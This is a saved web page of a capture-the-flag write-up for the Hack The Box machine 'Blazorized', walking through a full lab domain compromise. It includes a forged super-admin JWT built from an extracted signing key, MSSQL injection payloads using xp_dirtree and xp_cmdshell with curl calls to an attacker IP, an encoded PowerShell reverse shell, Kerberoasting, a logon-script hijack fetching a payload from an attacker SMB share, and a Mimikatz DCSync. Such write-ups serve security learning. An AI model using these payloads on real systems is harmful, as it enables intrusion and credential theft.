From: Snapshot-Content-Location: https://4xura.com/ctf/htb/htb-writeup-blazorized/ Subject: HTB Writeup - Blazorized | AxuraAxura Date: Mon, 8 Jul 2024 14:41:23 +0300 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC----" ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/html Content-ID: Content-Transfer-Encoding: quoted-printable Content-Location: https://4xura.com/ctf/htb/htb-writeup-blazorized/ HTB Writeup - Blazorized | AxuraAxura =20 =09 =09 =09

Are you watching me?

  • =09
  • =09 =09 =20 =09 =
  • =09
  • =09 =09 =09
  • =09
  • =09
    =09
    Whether to log in now?
    =09

    Protected: HTB Writeup =E2=80=93 Blazorized

    Axura= =C2=B77 days ago=C2=B73,122 Views

    =09
    =09

    BLAZOR JWT | Nu_1055

    Nmap scan:

    3D""

    We have wiki-like web app built with the Blazor WEB Assembly:

    3D""

    We have limited access to this page for it's more likely a private knowl= edge base in beta mode:

    3D""

    Try to find some subdomains:

    ffuf -w /usr/share/wordlists/seclists/Discovery/=
    DNS/subdomains-top1million-20000.txt -u "http:=
    //blazorized.htb" -H "HOST: FUZZ.blazor=
    ized.htb" -c -fs 144
    
    
    
    
    3D""

    We have an admin panel on admin.blazorized.htb, which requires = credentials to login.

    Then I used FFUF to continue to perform directory enumeration with some = wordlists, but it did not give out valuable information. The Blazor framewo= rk is not like usual web application using C# and .NET instead of JavaScrip= t. Blazor WebAssembly (The other part is Blazor Server) ru= ns client-side in the browser on a WebAssembly-based .NET runtime:

    • Initial load: When we navigates to the app, the browser downloads the a= pplication's dependencies, including the .NET runtime, .NET assemblies, and= any other static files (like CSS and images).
    • Rendering: The .NET runtime initializes, and the Blazor app=E2=80=99s c= omponents are rendered to the HTML DOM using WebAssembly. The components ar= e C# classes that render HTML using Razor syntax.
    • Event-handeling: User interactions like button clicks are handled asynchronously. Blazor captures these events and triggers the c= orresponding C# methods. That's the reason we cannot hack it as usual web a= pps.
    • Asynchronous operation: It supports asynchronous programming using async and await keywords. Network calls, file I/O, an= d other operations that can take time are executed asynchr= onously to keep the UI responsive.
    • SignalR: Use SignalR for real-time communication betwe= en the client and the server. SignalR can use WebSockets, Server-Sent Event= s, or Long Polling to maintain a persistent connection. The data transmitte= d over this connection is often in a binary format or JSON, which can appea= r obfuscated if we're not familiar with the structure.

    Anyway, I dived deeper into the Blazor Project Structure on Github<= /a> reading its documentation.

    This gives us a basic understanding about the project. Blazor often has = specific patterns and practices, especially for how static assets are handl= ed and how the client-side environment is set up. These are some Blazor-spe= cific Endpoints:

    • /_framework/blazor.webassembly.js: This script is essentia= l for running Blazor WebAssembly apps. It initializes and loads the .NET ru= ntime.
    • /_framework/wasm/: This directory often contains the WebAs= sembly binaries and other related files.

    The _framework directory is a special directory used by Bla= zor applications to store the framework files required for the Blazor WebAs= sembly runtime.

    By exploring its source code, we can discover some Javascript sources:

    3D""

    Deobfuscate the Javascripts, which are too long to demonstrate in this p= ost:

    3D""

    Save them as TXT files and we can use grep command to extra= ct valid paths for resources:

    grep -oE <=
    span class=3D"token string">'[^ ]+/[^ ]+' blazor.webassembly.js
    3D""

    We see the path _framework/blazor.boot.json in the outcome,= which is crucial for Blazor WebAssembly applications. It contains metadata= about the application, such as the list of DLLs (assemblies) that need to = be loaded, the entry point, and other configuration details necessary to bo= ot the Blazor application in the browser:

    Except those default DLL files for the framework, extract the ones custo= mzied by the developers:

    {
    "Blazored.LocalStorage.dll": "sha256-5V8ovY1s=
    rbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=3D",
    "Blazorized.DigitalGarden.dll": "sha256-YH2BG=
    BuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=3D",
    "Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ=
    4pzYB1LxrExKonhSlVdPH63LsehtJDqY=3D""Blazorized.Helpers.dll": "sha256-ekLzpGbbV=
    En95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ=3D"
    }
    • Blazored.LocalStorage.dll: Allows us to store and retr= ieve data in the local storage.
    • Blazorized.DigitalGarden.dll: A custom assembly specif= ic to the Blazor application. Contain code related to the "Digital Garden" = feature or functionality.
    • Blazorized.Shared.dll: Contains shared code and resour= ces used across different parts of the Blazor application.Include common mo= dels, services, or utility functions.
    • Blazorized.Helpers.dll: A custom assembly that contain= s helper functions or utilities used throughout the Blazor application.

    Download them under the /_framework/ directory. Decompile u= sing DNSpy, we can find out Blazorized.DigitalGarden = introduces how the JWT (JSON Web Token) is being handled w= ithin the CategoriesHttpClientService (or the PostsHttpC= lientService, they are similar) class:

    3D""

    The constructor initializes the HttpClient and sets its bas= e address as http://api.blazorized.htb:

    public CategoriesHttpClientService(HttpClie=
    nt httpClient)
    {
        this.httpClient =3D httpClient=
    ;
        this.httpClient.BaseAddress=
     =3D ne=
    w Uri=
    ("htt=
    p://api.blazorized.htb");
    }

    The SetJWTTokenHeader Method sets the JWT token and configu= res the Authorization header for the HttpClient w= ith the Bearer scheme:

    public SetJWTTokenHeader(string jwt)
    {
        try
        {
            this.jwt =3D jwt;
            this.httpClient.Default=
    RequestHeaders.Authorization =3D new AuthenticationHe=
    aderValue("Bearer", this.jwt);
        }
        catch (Exception)
        {
        }
    }

    Once the JWT token is set using SetJWTTokenHeader, any HTTP= request made using this HttpClient will include the JWT token= in the Authorization header.

    Now we know the web app use JWT to authenticate. Look into other DLL fil= es, we can discover the Blazorized.Helpers namespace contains = methods for generating and verifying JWTs.

    3D""

    First, the GetSigningCredentials method generates signing c= redentials using a Symmetric Security Key and the = HS512 algorithm:

    private static SigningCredentials G=
    etSigningCredentials()
    {
        SigningCredentials result;
        try
        {
            result =3D new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)<=
    /span>), "HS512");
        }
        catch (Exception)
        {
            throw;
        }
        return result;
    }

    The GenerateTemporaryJWT method generates a temporary JWT w= ith specific claims and an expiration duration:

    public static string GenerateTemporaryJWT(long expirationDurationInSeconds =3D 60L)
    {
        string result;
        try
        {
            List<Claim> li=
    st =3D =
    new List<Claim>
            {
                new Claim("http://schemas.xmlsoap.org/ws/20=
    05/05/identity/claims/emailaddress", JWT.superAdminEmailClaim=
    Value),
                new Claim("http://schemas.microsoft.com/ws/=
    2008/06/identity/claims/role", JWT.postsPermissionsClaimValue=
    ),
                new Claim("http://schemas.microsoft.com/ws/=
    2008/06/identity/claims/role", JWT.categoriesPermissionsClaim=
    Value)
            };
            stri=
    ng text =3D JWT.issuer;=
    
            stri=
    ng text2 =3D JWT.apiAudience;
            IEnumerable<Claim> enumerable =3D list;
            SigningCredentials signingC=
    redentials =3D JWT.GetSigningCredentials=
    ();
            DateTime? dateTime =3D =
    new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDura=
    tionInSeconds));
            JwtSecurityToken jwtSecurit=
    yToken =3D new JwtS=
    ecurityToken(text, text2, enumerable, null, dateTim=
    e, signingCredentials);
            result =3D new JwtSecurityTokenHandler()WriteToken(jwtSecurityToken=
    );
        }
        catch (Exception)
        {
            throw;
        }
        return result;
    }

    The GenerateSuperAdminJWT method generates a JWT for a super admin with specific claims and an expir= ation duration:

    public static string GenerateSuperAdminJWT(long expirationDurationInSeconds =3D 60L)
    {
        string result;
        try
        {
            List<Claim> li=
    st =3D =
    new List<Claim>
            {
                new Claim("http://schemas.xmlsoap.org/ws/20=
    05/05/identity/claims/emailaddress", JWT.superAdminEmailClaim=
    Value),
                new Claim("http://schemas.microsoft.com/ws/=
    2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
            };
            stri=
    ng text =3D JWT.issuer;=
    
            stri=
    ng text2 =3D JWT.adminDashboardAudience;
            IEnumerable<Claim> enumerable =3D list;
            SigningCredentials signingC=
    redentials =3D JWT.GetSigningCredentials=
    ();
            DateTime? dateTime =3D =
    new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDura=
    tionInSeconds));
            JwtSecurityToken jwtSecurit=
    yToken =3D new JwtS=
    ecurityToken(text, text2, enumerable, null, dateTim=
    e, signingCredentials);
            result =3D new JwtSecurityTokenHandler()WriteToken(jwtSecurityToken=
    );
        }
        catch (Exception)
        {
            throw;
        }
        return result;
    }

    The VerifyJWT method just verifies the validity of a JWT us= ing specified token validation parameters, which is not our concern.

    Constants are used in the JWT generation and verification process, which= we will need to impersonate superadmin@blazorized.htb to login th= e admin panel, including the Security Key:

    private static string jwtSymmetricSecurityKey =3D "8697800004ee25fc33436978ab6=
    e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466=
    a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc=
    4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f=
    215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d58=
    90236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c6=
    99f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002d=
    e648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712=
    a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee=
    9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f6=
    7dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c=
    75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc=
    40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494e=
    a6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1=
    912ef1fcc2e77a28b53d0a"; =
    =20
    private =
    static readonly string superA=
    dminEmailClaimValue =3D "superadmin@blazorized.htb";
    private =
    static readonly string postsP=
    ermissionsClaimValue =3D "Posts_Get_All";=
    
    private =
    static readonly string catego=
    riesPermissionsClaimValue =3D "Categories_Get_All";
    private =
    static readonly string superA=
    dminRoleClaimValue =3D "Super_Admin";
    private =
    static readonly string issuer=
     =3D "ht=
    tp://api.blazorized.htb";
    private =
    static readonly string apiAud=
    ience =3D ;
    private =
    static readonly string adminD=
    ashboardAudience =3D "http://admin.blazorized.htb";

    With this information, now we can generate a JWT for the Super Admin= on htt= ps://jwt.io.

    First we set the algorithm to HS512. Then add the necessary= claims (role) to the payload from the GenerateSuperAdminJWT m= ethod:

    {
      "http://schemas.xmlsoap.org/ws/2005/05/ide=
    ntity/claims/emailaddress": "superadmin@blazorized.htb",
      "http://schemas.microsoft.com/ws/2008/06/i=
    dentity/claims/role": "Super_Admin"=
    ,
      "iss": "http://api.blazorized.htb",
      "aud": "http://admin.blazorized.htb"=
    ,
      "exp": <expiration_timestamp>
    }

    Replace <expiration_timestamp> with a valid Unix time= stamp representing the expiration time.

    Lastly, use the provided jwtSymmetricSecurityKey to sign th= e token:

    3D""

    Now we have the JWT:

    eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9=
    .eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy=
    9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtY=
    XMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJf=
    QWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2F=
    kbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzM1Njg5NjAwfQ.opBCtnN3kxPKa9I_fTKDWcf=
    TiP9AmBXQBUHq1s7gt01uWSNZn87Jwlj6tKrHvHkv6xSvhFVlgodYHwnECXEJ_A
    
    
    
    

    In previous analysis, we know that the JWT token and configures the Authorization header with the Bearer scheme. We need = to send this token in the Authorization header when making req= uests to protected resources:

    Authorization: Bearer <=
    ;token>

    However, we cannot use this JWT of Super admin to access the ad= min panel directly, unlike the temporary JWT for the wiki-like main page (T= he following JWT is for temporary user to access the page)= :

    3D""

    With the temporary JWT added to the HTTP header, we can now access restr= icted resources on the page:

    3D""

    However, for the admin panel, to access a Blazor WebAss= embly app using a pre-existing JWT for authentication, we need to manually = handle the token. This involves configuring the Blazor app to use the token= for API requests (which we don't need to in this case) and ensuring the to= ken is stored and sent with each request.

    I don't aim to explain it too much in this post, but we can check the server.blazor.js source code, which we can discover from the admin.blazorized.htb source code, if interested.

    In short, the _getNegotiationResponse method in that JS cod= e sends a negotiation request to obtain the connectionToken (w= e can observe this in Burpsuite among the initial requests to admin.bla= zorized.htb). After obtaining the connectionToken, a WebSocket connection or other types of transport we introduced previ= ously is established.

    Therefore, we cannot simply add the JWT to access the admin subdomain. W= e need to add it to the local storage to make sure we make= each request with it. Simply open the browser console and execute the foll= owing Javascript commands:

    let token =3D 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy5=
    4bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdX=
    BlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93c=
    y8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRw=
    Oi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHR=
    iIiwiZXhwIjoxNzM1Njg5NjAwfQ.opBCtnN3kxPKa9I_fTKDWcfTiP9AmBXQBUHq1s7gt01uWSN=
    Zn87Jwlj6tKrHvHkv6xSvhFVlgodYHwnECXEJ_A';
    localStorage.setItem('jwt', =
    token);

    The paramter is jwt as we get it from the previous C# code:=

    3D""

    After adding the JWT to the local storage, refresh the page and we will = make our access to the admin panel:

    3D""

    The welcome page of the admin panel says Hi to us. There're 2 SQL inject= ion potential surfaces obviously:

    Try some weird input, the reaction of the server becomes abnormal:

    3D""

    Use the payloads in PayloadsAllTheThings, we can test either of the at= tack surfaces with the MSSQL UNC Path, and set up an SMB s= erver in advance to receive the requests:

    1'; use master; exec xp_dirtree '\\10.10.16.4\SHARE';--<=
    /code>
    3D""

    MSSQL supports stacked queries so we can create a variable pointing to o= ur IP address then use the xp_dirtree function to list the fil= es in our SMB share and grab the NTLMv2 hash:

    3D""

    We even got the NTLM hash for the Domain Controller. But unluckily all t= he hashes are uncrackable. And we can find out that although the SQLi works= , the responses do not give us relevant feedback, meaning we need to perfor= m blind injection

    But we can test the xp_cmdshell (we played with this a lot = for the Freelancer box) combined with exf= iltration techniques. Set up an HTTP listener, test the following = injection payload also from PayloadsAllTheThings:

    1'; EXEC master.dbo.xp_cmdshell 'curl 10.10.16.4/?axura=3Dhello';--
    3D""

    Cool. Now we can execute commands to get a reverse shell with the follow= ing payload:

    1'; EXEC master.dbo.xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBq=
    AGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBj ...';--

    We are now user Nu_1055 and take the user flag= :

    3D""

    WRITESPN | RSA_4810

    As usual, we can manage to switch an MSF shell:

    No AV, run Winpeas:

    NU_1055::BLAZORIZED:1122334455667788=
    :94219cc737173811598e1117c266ffdd:01010000000000006d663d8ecbcada01b4f48d683=
    64a57fb000000000800300030000000000000000000000000210000bfd998d9da22b8e6eabd=
    e04aeb3bad2939160ea2528e1b12add50a94917b93aa0a00100000000000000000000000000=
    000000000090000000000000000000000

    From the command whoami /priv in previous steps we know tha= t user nu_1055 has the right of SeMachineAccountPrivilege. But we dont have neccessa= ry prerequisites for the attack.

    From BloodHound, we can discover the current user nu_1055 has writeSPN Privilege on the RSA_4801 account:

    3D""

    We can perform a Kerberos-based attack such as Ghost SPN-jacking and Ker= beroasting, assign it to the other computer/server, and perform a = full S4U attack to compromise it.

    In our case, start Powershell, import PowerView.ps1. We will need the Set-DomainObject and Get-DomainS= PNTicket functions:

    -Identity R=
    SA_4810 -SET @{serviceprincipalna=
    me=3D'axura/ghost'}

    Once the SPN is set, we can simply (we cannot request a service ticket u= sing Impacket without a password in this case):

    -SPN axu=
    ra/ghost

    It requests a service ticket for a non-existed SPN axura/ghost as a dummy name, and we should receive the ticket in Hash format:

    3D""

    Use Hashcat and we can get the password:

    hashcat -m 13100 -a 0 hash.txt /path/to/wordlist.tx=
    t
    3D""

    The password looks quite weird though. So I used another method to verif= y the outcome. We can also execute Rubeus to request and d= ump tickets:

    .\Rubeus.exe kerberoas=
    t /user:RSA_4810 /domain:blazorized.htb /dc:DC1.blazorized.htb<=
    /code>

    And we got the same result, with more detailed SamAccountName and other = attributes using Rubeus:

    3D""

    Fine, use Evil-winrm to logon as user RSA_4810 for she is membe= r of the Remote Management group:

    3D""

    LOGON SCRIPT HIJACK | SSA_= 6010

    User RSA_4810 is member of group Remote_Support_Administrat= ors:

    3D""

    This could be a custom group (?), allowing us to perform various adminis= trative tasks such as:

    • Creating or managing user accounts.
    • Modifying system configurations.
    • Installing or removing software.
    • Accessing and modifying all files on the system.

    With higher local privilge, we can run Winpeas again to gather = information. We have some new writable file paths:

    Folder: C:\windows\tasks
        FolderPerms: Authenticated Users [WriteData/CreateFiles]
    
    Folder: C:\windows\system32\tasks
        FolderPerms: Authenticated Users [WriteData/CreateFiles]

    Winpeas is not that reliable on finding writable files somehow.= I used Accesschk to look for sensive writable files manua= lly under different directories for the 'C:\' path:

    accesschk.exe -w -s -u B=
    LAZORIZED\RSA_4810 "C:\windows"<=
    /pre>
    
    
    
    

    Something out of the Winpeas scope under 'C:\windows' seems interesting:=

    3D""

    SYSVOL directory is commonly used for logon scripts and= Group Policy data.

    Get into the file path under the directory A32FF3AEAA23, wh= ich we have write privilege. There are many hierarchies along with tons of = scripts under the SYSVOL path. So we need to gather more informati= on to find connections to perfrom privesc.

    Run BloodHound after moving to MSF shell (failed to load it wit= h Evil-winrm shell). No juice.

    Use Powerview for further enumeration. Enumerate domain= users and groups:

    Get-NetGroup
    Get-NetGroupMember -GroupName "GroupName"

    I found a suspicious user SSA_6010, who has a huge count number= of logon tries (4000+) for every minute:

    3D""

    Besides, we can see the user is running a logon script from the sc= riptpath attribute \\dc1\NETLOGON\A32FF3AEAA23\B00AC3C11C0E\BA= EDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030, which is a network pat= h to a logon script for the user SSA_6010 (It could be the reason why the user logons so frequently and why adP= EAS cracked when scanning Netlogon access rights each time I ran it).<= /p>

    This path indicates that there is a logon script stored in the N= ETLOGON share on the domain controller (dc1). It is commonly used = to store logon scripts and other policies that need to be executed when a u= ser logs onto a machine within the domain.

    But we don't have Netlogon-share-relative privileges as user RSA_481= 0 to run commands like net share or net view= . Since we found out that we have write privileges for certain files inside= the 'C:\Windows\SYSVOL' path, continue to check the files mentioned in abo= ve results:

    icacls C:\windows\sysvol\doma=
    in\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030=
    .bat
    icacls C:\windows\sysvol\sysvol\blazorized.htb\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C=
    0A3DFE2030.bat

    Which we both have write access as RSA_4810:

    3D""

    And we can look for more details with the Powershell command (Same as th= e other one under C:\windows\sysvol\sysvol\blazorized.htb):

    "C:\windows\sysvol\domain\scr=
    ipts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat"<=
    /span> | Format-List -Property *
    3D""

    These BAT files are owned by builtin Administrators. In Windows, .= bat (batch) files are scripts that contain a series of commands to b= e executed by the command-line interpreter, cmd.exe. These scr= ipts are often used to automate repetitive tasks, configure system settings= , or manage files and processes:

    • System maintenance scripts.
    • Logon/logoff scripts.
    • Application deployment scripts.
    • Backup scripts.

    The original files contain a TO-DO message to imply us writing the logon= Script for SSA_6010:

    Therefore, we can either modify the 2C0A3DFE2030.bat under = the deep paths above, or simply use the Set-ADUser command to = update the ScriptPath for user SSA_6010:

    -Identity SSA_601=
    0 -ScriptPath "A32FF3AEAA23\rev.bat"
    • We set the ScriptPath as C:\windows\sysvol\sysvol\blazorized.htb\= A32FF3AEAA23 or the other similar ones, because we have write privil= ege.
    • rev.bat is the BAT script file we are going to create for = a reverse shell.

    The ScriptPath attribute in Active Directory must be a path= relative to the \\dc1\netlogon share, otherw= ise SSA_6010 is not able to access it as a logon script.

    Since all domain controllers replicate the contents of the NETLOGON shar= e, the relative path ensures that the script can be found on any domain con= troller in the domain. Including the full UNC path would tie the script to = a specific domain controller, which is not desirable in a multi-controller = environment.

    This means we can only specify the path starting after the root path of = the NETLOGON share, not an absolute path.

    We can use this command to verify if our configuration ready:

    -Identity "SSA_6010" -Properties * | Select-Object =
    -Property DistinguishedName, ObjectClass, SamAccountName, UserPr=
    incipalName, SecurityIdentifier, ScriptPath, logonCount
    3D""

    And the logonCount attribute keeps increasing because S= SA_6010 just tries hard to re-logon.

    Now we are ready to write the malicious BAT file rev.bat in= to the specific path. First generate a PowerShell reverse shell as re= v4446.ps1 in my case, which we can embed it in a batch file later:

    powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0=
    ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHM ...

    When creating batch files via PowerShell, the default encoding is not co= mpatible with how the scripts are executed in the logon process. Specifying the encoding as ASCII ensures that the b= atch file will be interpreted correctly.

    I set up an SMB server to host the PowerShell payload, which the batch s= cript can then fetch and execute:

    impacket-smbserver -smb2support share
    
    
    
    

    After then, we can write a powershell script UpdateBatchFiles.ps1<= /code> to retrieve the reverse shell script and complete the attack:

    # Embed PS into the batch file content
    $batContent =3D Get-Content -Path "\\10.10.16.4\share\rev4446.ps1"
    
    # Create the batch file with ASCII encoding
    $batFilePath =3D "C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\rev.=
    bat"
    $batContent | Out-File -FilePath $batFi=
    lePath -Encoding ASCII<=
    /pre>
    
    
    
    

    Run the UpdateBatchFiles.ps1 script on the victim machine:<= /p>

    -Executi=
    onPolicy Bypass -Scope Process -Force
    .\UpdateBatchFiles.ps1

    Now the rev.bat will be created in the desired path. After = a while, we are able to receive the reverse shell as user SSA_6010= :

    3D""

    DCSYNC | Administrator

    Run BloodHound again, we can see that SSA_6010 is memb= er of Super_Support_Administrators group:

    3D""

    Which has DCSync privilege to the machine:

    3D""

    This is a free root. The DCSync privilege in Active Directo= ry refers to the ability to request replication of user credentials from a = Domain Controller, essentially mimicking the behavior of a Domain Controlle= r. This privilege allows an attacker to obtain the password hashes of all u= sers in the domain, including the hashes of domain administrators.

    • Replication Rights: A user or group with DCSync rights= can request directory replication from a Domain Controller. This includes = user password hashes.
    • High Impact: Having this privilege is extremely powerf= ul as it can allow an attacker to impersonate any user in the domain by obt= aining their password hash and cracking or passing the hash.
    • Privilege Escalation: We can escalate our privileges b= y retrieving the hashes of higher privileged accounts, such as domain a= dministrators.

    Therefore, simply run Mimikaz, along with command:

    lsadump::dcsync /domain:blazorized.htb /user:Administrator
    3D""

    Then we can use the NTLM hash to straight forward Pass-the-Hash<= /strong> with Evil-winrm:

    3D""

    Root as Administrator.


    Are you watching me?

    =09 =09
    View com= ments - 1 comment

    Comments | 1 comm= ent

    =20
    =09 =20

    Cancel Reply

    <= /a> Markdown Supported while <= /i> Forbidden

    Click me O= =CF=89O Woooooow =E3= =83=BE(=E2=89=A7=E2=88=87=E2=89=A6*)=E3=82=9D

    Biubiub= iu (=3D=E3=83=BB= =CF=89=E3=83=BB=3D) Emoji
    =
    =20 (=E2=8C=92=E2=96=BD=E2=8C=92) =EF=BC=88=EF=BF=A3=E2=96=BD=EF=BF=A3=EF=BC= =89 (=3D=E3=83=BB=CF=89=E3=83=BB=3D) (=EF=BD=80=E3=83=BB=CF=89=E3=83=BB=C2=B4) (=E3=80=9C=EF=BF=A3=E2=96=B3=EF=BF=A3)=E3= =80=9C (=EF=BD=A5=E2=88=80=EF=BD=A5) (=C2=B0=E2=88=80=C2=B0)=EF=BE=89 (=EF=BF=A33=EF=BF=A3) =E2=95=AE(=EF=BF=A3=E2=96=BD=EF=BF=A3)=E2= =95=AD (=C2=B4_=E3=82=9D=EF=BD=80) =E2=86=90_=E2=86=90 =E2=86=92_=E2=86=92 (<_<) (>_>) (;=C2=AC_=C2=AC) ("=E2=96=94=E2=96=A1=E2=96=94)/ (=EF=BE=9F=D0=94=EF=BE=9F=E2=89=A1=EF=BE=9F= =D0=B4=EF=BE=9F)!? =CE=A3(=EF=BE=9F=D0=B4=EF=BE=9F;) =CE=A3(=EF=BF=A3=E2=96=A1=EF=BF=A3||) (=E2=80=99=EF=BC=9B=CF=89=EF=BC=9B=E2=80=98= ) =EF=BC=88/T=D0=94T)/ (^=E3=83=BB=CF=89=E3=83=BB^ ) (=EF=BD=A1=EF=BD=A5=CF=89=EF=BD=A5=EF=BD=A1= ) (=E2=97=8F=EF=BF=A3(=EF=BD=B4)=EF=BF=A3=E2= =97=8F) =CE=B5=3D=CE=B5=3D(=E3=83=8E=E2=89=A7=E2=88= =87=E2=89=A6)=E3=83=8E (=E2=80=99=EF=BD=A5_=EF=BD=A5=E2=80=98) (-_-#) =EF=BC=88=EF=BF=A3=E3=81=B8=EF=BF=A3=EF=BC= =89 (=EF=BF=A3=CE=B5(#=EF=BF=A3)=CE=A3 =E3=83=BD(=E2=80=98=D0=94=E2=80=99)=EF=BE= =89 =EF=BC=88#-_-)=E2=94=AF=E2=94=81=E2=94=AF (=E2=95=AF=C2=B0=E5=8F=A3=C2=B0)=E2=95=AF(= =E2=94=B4=E2=80=94=E2=94=B4 =E2=86=90=E2=97=A1=E2=86=90 ( =E2=99=A5=D0=B4=E2=99=A5) _(:3=E3=80=8D=E2=88=A0)_ =CE=A3>=E2=80=95(=E3=80=83=C2=B0=CF=89= =C2=B0=E3=80=83)=E2=99=A1=E2=86=92 =E2=81=84(=E2=81=84 =E2=81=84=E2=80=A2=E2= =81=84=CF=89=E2=81=84=E2=80=A2=E2=81=84 =E2=81=84)=E2=81=84 (=E2=95=AC=EF=BE=9F=D0=B4=EF=BE=9F)=E2=96= =84=EF=B8=BB=E2=94=BB=E2=94=B3=E2=95=90=E4=B8=80 =EF=BD=A5*=EF=BD=A5:=E2=89=A1(=E3=80=80=CE= =B5:) (=E7=AC=91) (=E6=B1=97) (=E6=B3=A3) (=E8=8B=A6=E7=AC=91) =20
    <= img src=3D"https://cdn.jsdelivr.net/gh/moezx/cdn@3.1.9/img/Sakura/images/sm= ilies/icon_han.gif"><= img src=3D"https://cdn.jsdelivr.net/gh/moezx/cdn@3.1.9/img/Sakura/images/sm= ilies/icon_doubt.gif">

    Th= is site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service ap= ply.

    = The reCAPTCHA verification period has expired. Please reload the page.

    =E4=B8=8A=E4=BC=A0=E5=9B=BE= =E7=89=87
    =20

    =09

    Hacking is a Mindset

    =09

    =20
    Click to Copy
    Hiya Heyo =E2=99=AC=E2=99=AA= =F0=9D=85=A1=E2=99=AB=F0=9D=85=9F=F0=9D=85=A0
    Do ya know my master Axur= a?
    =
    =20
      DAY | NI= GHT=20
    =
    ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/css Content-Transfer-Encoding: quoted-printable Content-Location: cid:css-5f710468-f540-4b53-b601-12038a5f3791@mhtml.blink @charset "utf-8"; @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2") for= mat("woff2"); unicode-range: U+460-52F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U= +A640-A69F, U+FE2E-FE2F; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2") for= mat("woff2"); unicode-range: U+301, U+400-45F, U+490-491, U+4B0-4B1, U+2116= ; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7mxKOzY.woff2") for= mat("woff2"); unicode-range: U+1F00-1FFF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4WxKOzY.woff2") for= mat("woff2"); unicode-range: U+370-377, U+37A-37F, U+384-38A, U+38C, U+38E-= 3A1, U+3A3-3FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7WxKOzY.woff2") for= mat("woff2"); unicode-range: U+102-103, U+110-111, U+128-129, U+168-169, U+= 1A0-1A1, U+1AF-1B0, 